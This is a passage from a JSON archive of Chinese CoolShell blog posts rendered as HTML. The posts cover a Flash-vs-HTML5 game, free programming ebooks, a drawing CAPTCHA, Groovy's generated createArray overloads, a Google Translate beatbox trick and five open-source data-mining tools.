width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3320.html\">JDK里的设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-5 游戏Flash vs HTML5.html",
    "content": "<html><body><p>下面这个网页上做一个乒乓游戏，左边是Flash，右边是HTML5，很有趣。这也算是一个Flash和HTML5通讯的例子吧。</p>\n<p style=\"text-align: center;\"><a href=\"http://labs.codecomputerlove.com/FlashVsHtml5/\" target=\"_blank\">http://labs.codecomputerlove.com/FlashVsHtml5/</a></p>\n<p style=\"text-align: center;\">\n</p><p style=\"text-align: left;\"><a href=\"http://labs.codecomputerlove.com/FlashVsHtml5/\"><img alt=\"\" class=\"aligncenter size-full wp-image-3268\" height=\"347\" src=\"../wp-content/uploads/2010/11/flash_vs_html5.jpg\" title=\"flash vs html5\" width=\"521\"/></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3516.html\"><img alt=\"JS游戏引擎列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3421.html\"><img alt=\"流体力学的演示\" height=\"150\" src=\"../wp-content/uploads/2010/12/Liquid-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3421.html\">流体力学的演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3267.html\">游戏Flash vs HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-8 两本电子书.html",
    "content": "<html><body><p><a href=\"http://learnpythonthehardway.org/static/LearnPythonTheHardWay.pdf\" target=\"_blank\"><strong>Learn Python The Hard Way (pdf)</strong></a></p>\n<p style=\"text-align: center;\"><strong> </strong></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3272\" style=\"width: 245px;\"><a href=\"http://learnpythonthehardway.org/static/LearnPythonTheHardWay.pdf\"><img alt=\"\" class=\"size-full wp-image-3272\" height=\"320\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way.jpg\" title=\"Learn Python The Hard Way\" width=\"245\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3272\">Learn Python The Hard Way</figcaption></figure>\n<p><a href=\"http://download.microsoft.com/download/5/0/A/50A39509-D015-410F-A8F2-A5511E5A988D/Microsoft_Press_ebook_Programming_Windows_Phone_7_PDF.pdf\" target=\"_blank\"><strong>Programming Windows Phone 7 (Charles Petzold)</strong></a></p>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_3271\" style=\"width: 245px;\"><a href=\"http://download.microsoft.com/download/5/0/A/50A39509-D015-410F-A8F2-A5511E5A988D/Microsoft_Press_ebook_Programming_Windows_Phone_7_PDF.pdf\"><img alt=\"\" class=\"size-full wp-image-3271\" height=\"299\" src=\"../wp-content/uploads/2010/11/Free-Ebook-Programming-Windows-Phone-7-by-Charles-Petzold.jpg\" title=\"Programming Windows Phone 7 by Charles Petzold\" width=\"245\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3271\">Programming Windows Phone 7 by Charles Petzold</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3192.html\"><img alt=\"一些非常不错的资料\" height=\"150\" src=\"../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2775.html\"><img alt=\"免费电子书列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2775.html\">免费电子书列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1157.html\"><img alt=\"Python 自然语言处理\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1157.html\">Python 自然语言处理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-8 超强的验证码.html",
    "content": "<html><body><p>大家看看这个网站吧。最强的验证码——把看到的东西画出来。</p>\n<p><a href=\"http://www.geee.net/contact.htm\" target=\"_blank\">http://www.geee.net/contact.htm</a></p>\n<p style=\"text-align: center;\"><a href=\"http://www.geee.net/contact.htm\"><img alt=\"\" class=\"wp-image-3278 aligncenter\" src=\"../wp-content/uploads/2010/11/capcha.jpg\" title=\"无敌的验证码\"/></a></p>\n<p>某些网友们还是做了一些尝试：</p>\n<p><span id=\"more-3277\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"alignnone\" height=\"555\" src=\"http://i.imgur.com/hgLYS.jpg\" width=\"355\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"alignnone\" height=\"264\" src=\"http://i.imgur.com/Bo3OC.jpg\" width=\"445\"/></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7917.html\"><img alt=\"各式各样的验证码\" height=\"150\" src=\"../wp-content/uploads/2012/07/0-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7917.html\">各式各样的验证码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1212.html\"><img alt=\"编程引言补充\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1212.html\">编程引言补充</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/822.html\"><img alt=\"Linux磁盘使用命令du的改进\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/822.html\">Linux磁盘使用命令du的改进</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1152.html\"><img alt=\"关于 Chrome OS 的一些推论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1152.html\">关于 Chrome OS 的一些推论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1441.html\"><img alt=\"WebTTY！太酷了！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1441.html\">WebTTY！太酷了！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1399.html\"><img alt=\"8个实用而有趣Bash命令提示行\" height=\"150\" src=\"../wp-content/uploads/2009/09/bashprompts-hurring-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1399.html\">8个实用而有趣Bash命令提示行</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3277.html\">超强的验证码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-1 Groovy是怎么实现createArray的.html",
    "content": "<html><body><p><a href=\"http://groovy.codehaus.org/\" target=\"_blank\">Groovy</a>是一个基于 Java虚拟机的敏捷 动态语言。构建在强大的Java语言之上 并 添加了从Python，Ruby和Smalltalk等语言中学到的 诸多特征。为Java开发者提供了 现代最流行的编程语言特性，而且学习成本很低（几乎为零）。在以前的酷壳的<a href=\"https://coolshell.cn/articles/2631.html\" rel=\"bookmark\">五大基于JVM的脚本语言</a>中也介绍过它。</p>\n<p>下面，让我们看看他的一个createArray的实现，请大家前去围观下面的Groovy的trunk上的源码吧。真是很好很强大。</p>\n<p><a href=\"http://svn.codehaus.org/groovy/trunk/groovy/groovy-core/src/main/org/codehaus/groovy/runtime/ArrayUtil.java\" target=\"_blank\">http://svn.codehaus.org/groovy/trunk/groovy/groovy-core/src/main/org/codehaus/groovy/runtime/ArrayUtil.java</a></p>\n<p>这里摘上前几个createArray重载函数让大家看看，（一共有250个重载函数）</p>\n<pre class=\"EnlighterJSRAW\">public class ArrayUtil {\n    ... ...\n    ... ...\n public static Object[] createArray(Object arg0, Object arg1) {\n return new Object[]{\n arg0, arg1};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2) {\n return new Object[]{\n arg0, arg1, arg2};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3) {\n return new Object[]{\n arg0, arg1, arg2, arg3};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3, Object arg4) {\n return new Object[]{\n arg0, arg1, arg2, arg3, arg4};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {\n return new Object[]{\n arg0, arg1, arg2, arg3, arg4, arg5};\n }\n ... ...\n ... ...\n} </pre>\n<p>这里给了一些<a href=\"http://groovy.329449.n5.nabble.com/Guys-any-explanations-about-this-td3285524.html#a3285676\" target=\"_blank\">解释</a>：</p>\n<p><span id=\"more-3335\"></span></p>\n<ul>\n<li><strong>First</strong>: the package is org.codehaus.groovy.runtime. This is NOT a class that any user of Groovy will ever use. There are plenty of XML utilities in groovy.lang or groovy.xml for you to use.</li>\n<li><strong>Second</strong>: This class is never invoked from code. It exists so that byte code statements have something to link against. If you dump the stack language of a .class file you may indeed see a “INVOKESTATIC org/codehaus/groovy/runtime/XMLUtil” invocation. This logic is used around the CallSite writing features.</li>\n<li><strong>Third</strong>: Implementing a dynamic language (Groovy) in a static language (Java) on a type less virtual machine (JVM) is hard. Every language has their work arounds. We generated some code so that we had something to link against. At one point, JRuby was generating reams of interfaces (IIRC) and have you seen the implementation of OpenJDK? Ever notice now many methods are overloaded for all the primitives plus Object. These are all workarounds to get the end user a good programming experience while still running on the JVM.</li>\n</ul>\n<p>大意是：这个类对于Groovy的使用者是不会用到的，也不会被调用到，因为在JVM下实现动态语言是有一定的难度，这算是一个work around。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2631.html\"><img alt=\"五大基于JVM的脚本语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1976.html\"><img alt=\"【问题】传球问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1976.html\">【问题】传球问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/16.html\"><img alt=\"结对编程的利与弊\" height=\"150\" src=\"../wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/16.html\">结对编程的利与弊</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3335.html\">Groovy是怎么实现createArray的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-1 用Google Translate玩转beat box.html",
    "content": "<html><body><p>在<a href=\"http://www.reddit.com/r/todayilearned/comments/ed39q/til_how_to_make_google_beatbox_for_you/\" target=\"_blank\">Reddit</a>上有人发布了怎么使用Google的翻译来玩beat box，很有趣，转过来。</p>\n<p style=\"text-align: center;\">\n<img alt=\"\" height=\"164\" src=\"../wp-content/uploads/2010/12/google_beat_box.jpg\" title=\"Google 翻译 玩转 Beat box\" width=\"500\"/></p>\n<p>下面是相关步骤：</p>\n<p style=\"text-align: left; padding-left: 30px;\">1) Go to <a href=\"http://translate.google.com/\" target=\"_self\">Google Translate</a></p>\n<p style=\"text-align: left; padding-left: 30px;\">2) 把翻译语言设置成从 German 翻译到 German。（德语）</p>\n<p style=\"text-align: left; padding-left: 30px;\">3) 拷贝粘贴这个字符串到translate中：<br/>\npv zk pv pv zk pv zk kz zk pv pv pv zk pv zk zk pzk pzk pvzkpkzvpvzk kkkkkk bsch</p>\n<p style=\"text-align: left; padding-left: 30px;\">4) 把声音开大，点击“朗读”，</p>\n<p>另，如果你在Google里以 “Google beatbox” 作为关键词搜索，你会看到 Google Translate出现在最前面的搜索结果中。</p>\n<div></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3331.html\">用Google Translate玩转beat box</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-13 五个免费开源的数据挖掘软件.html",
    "content": "<html><body><p>在网上看到一篇文章介绍五个免费开源的数据挖掘软件，转过来。</p>\n<h4>Orange</h4>\n<p><a href=\"http://www.ailab.si/orange\"><img alt=\"\" border=\"0\" class=\"alignleft\" id=\"BLOGGER_PHOTO_ID_5543415731299792802\" src=\"../wp-content/uploads/2010/12/orange-data-mining-software.jpg\"/></a><a href=\"http://www.ailab.si/orange\">Orange</a> 是一个基于组件的数据挖掘和机器学习软件套装，它的功能即友好，又很强大，快速而又多功能的可视化编程前端，以便浏览数据分析和可视化，基绑定了Python以进行脚本开发。它包含了完整的一系列的组件以进行数据预处理，并提供了数据帐目，过渡，建模，模式评估和勘探的功能。其由C++ 和 Python开发，它的图形库是由跨平台的Qt框架开发。</p>\n<h4>RapidMiner</h4>\n<p><a href=\"http://rapidminer.com/\" target=\"_blank\"><img alt=\"\" border=\"0\" class=\"alignleft\" id=\"BLOGGER_PHOTO_ID_5543415710727537026\" src=\"../wp-content/uploads/2010/12/data-mining-software-rapidminer.jpg\"/></a><a href=\"http://rapidminer.com/\" target=\"_blank\">RapidMiner</a>, 以前叫 YALE (Yet Another Learning Environment), 其是一个给机器学习和数据挖掘和分析的试验环境，同时用于研究了真实世界数据挖掘。它提供的实验由大量的算子组成，而这些算子由详细的XML 文件记录，并被RapidMiner图形化的用户接口表现出来。RapidMiner为主要的机器学习过程提供了超过500算子，并且，其结合了学习方案和Weka学习环境的属性评估器。它是一个独立的工具可以用来做数据分析，同样也是一个数据挖掘引擎可以用来集成到你的产品中。</p>\n<p><span id=\"more-3356\"></span></p>\n<h4>Weka</h4>\n<p><a href=\"http://www.cs.waikato.ac.nz/~ml/weka/\" target=\"_blank\"><img alt=\"\" border=\"0\" class=\"alignleft\" id=\"BLOGGER_PHOTO_ID_5543415721879376210\" src=\"../wp-content/uploads/2010/12/data-mining-software-weka.jpg\"/></a>由Java开发的 <a href=\"http://www.cs.waikato.ac.nz/~ml/weka/\" target=\"_blank\">Weka</a> (Waikato Environment for Knowledge Analysis) 是一个知名机器学机软件，其支持几种经典的数据挖掘任务，显著的数据预处理，集群，分类，回归，虚拟化，以及功能选择。其技术基于假设数据是以一种单个文件或关联的，在那里，每个数据点都被许多属性标注。 Weka 使用Java的数据库链接能力可以访问SQL数据库，并可以处理一个数据库的查询结果。它主要的用户接品是Explorer，也同样支持相同功能的命令行，或是一种基于组件的知识流接口。</p>\n<h4>JHepWork</h4>\n<p><a href=\"http://jwork.org/jhepwork/\" target=\"_blank\"><img alt=\"\" border=\"0\" class=\"alignleft\" height=\"88\" id=\"BLOGGER_PHOTO_ID_5543415732754041410\" src=\"../wp-content/uploads/2010/12/data_mining_software_jhepwork.jpg\" width=\"98\"/></a>为科学家，工程师和学生所设计的 <a href=\"http://jwork.org/jhepwork/\" target=\"_blank\">jHepWork</a> 是一个免费的开源数据分析框架，其主要是用开源库来创建 一个数据分析环境，并提供了丰富的用户接口，以此来和那些收费的的软件竞争。它主要是为了科学计算用的二维和三维的制图，并包含了用Java实现的数学科学库，随机数，和其它的数据挖掘算法。 jHepWork 是基于一个高级的编程语言 Jython，当然，Java代码同样可以用来调用 jHepWork 的数学和图形库。</p>\n<h4>KNIME</h4>\n<p><a href=\"http://www.knime.org/\" target=\"_blank\"><img alt=\"\" border=\"0\" class=\"alignleft\" id=\"BLOGGER_PHOTO_ID_5543415704482067682\" src=\"../wp-content/uploads/2010/12/data-mining-software-KNIME.jpg\"/></a><a href=\"http://www.knime.org/\" target=\"_blank\">KNIME</a> (Konstanz Information Miner) 是一个用户友好，智能的，并有丰演的开源的数据集成，数据处理，数据分析和数据勘探平台。它给了用户有能力以可视化的方式创建数据流或数据通道，可选择性地运行一些或全部的分析步骤，并以后面研究结果，模型 以及 可交互的视图。 KNIME 由Java写成，其基于 Eclipse 并通过插件的方式来提供更多的功能。通过以插件的文件，用户可以为文件，图片，和时间序列加入处理模块，并可以集成到其它各种各样的开源项目中，比如：R语言，Weka， Chemistry Development Kit, 和 LibSVM.</p>\n<p>源文：<a href=\"http://www.junauza.com/2010/11/free-data-mining-software.html\">http://www.junauza.com/2010/11/free-data-mining-software.html</a>（墙）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/265.html\"><img alt=\"深入浅出单实例Singleton设计模式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a 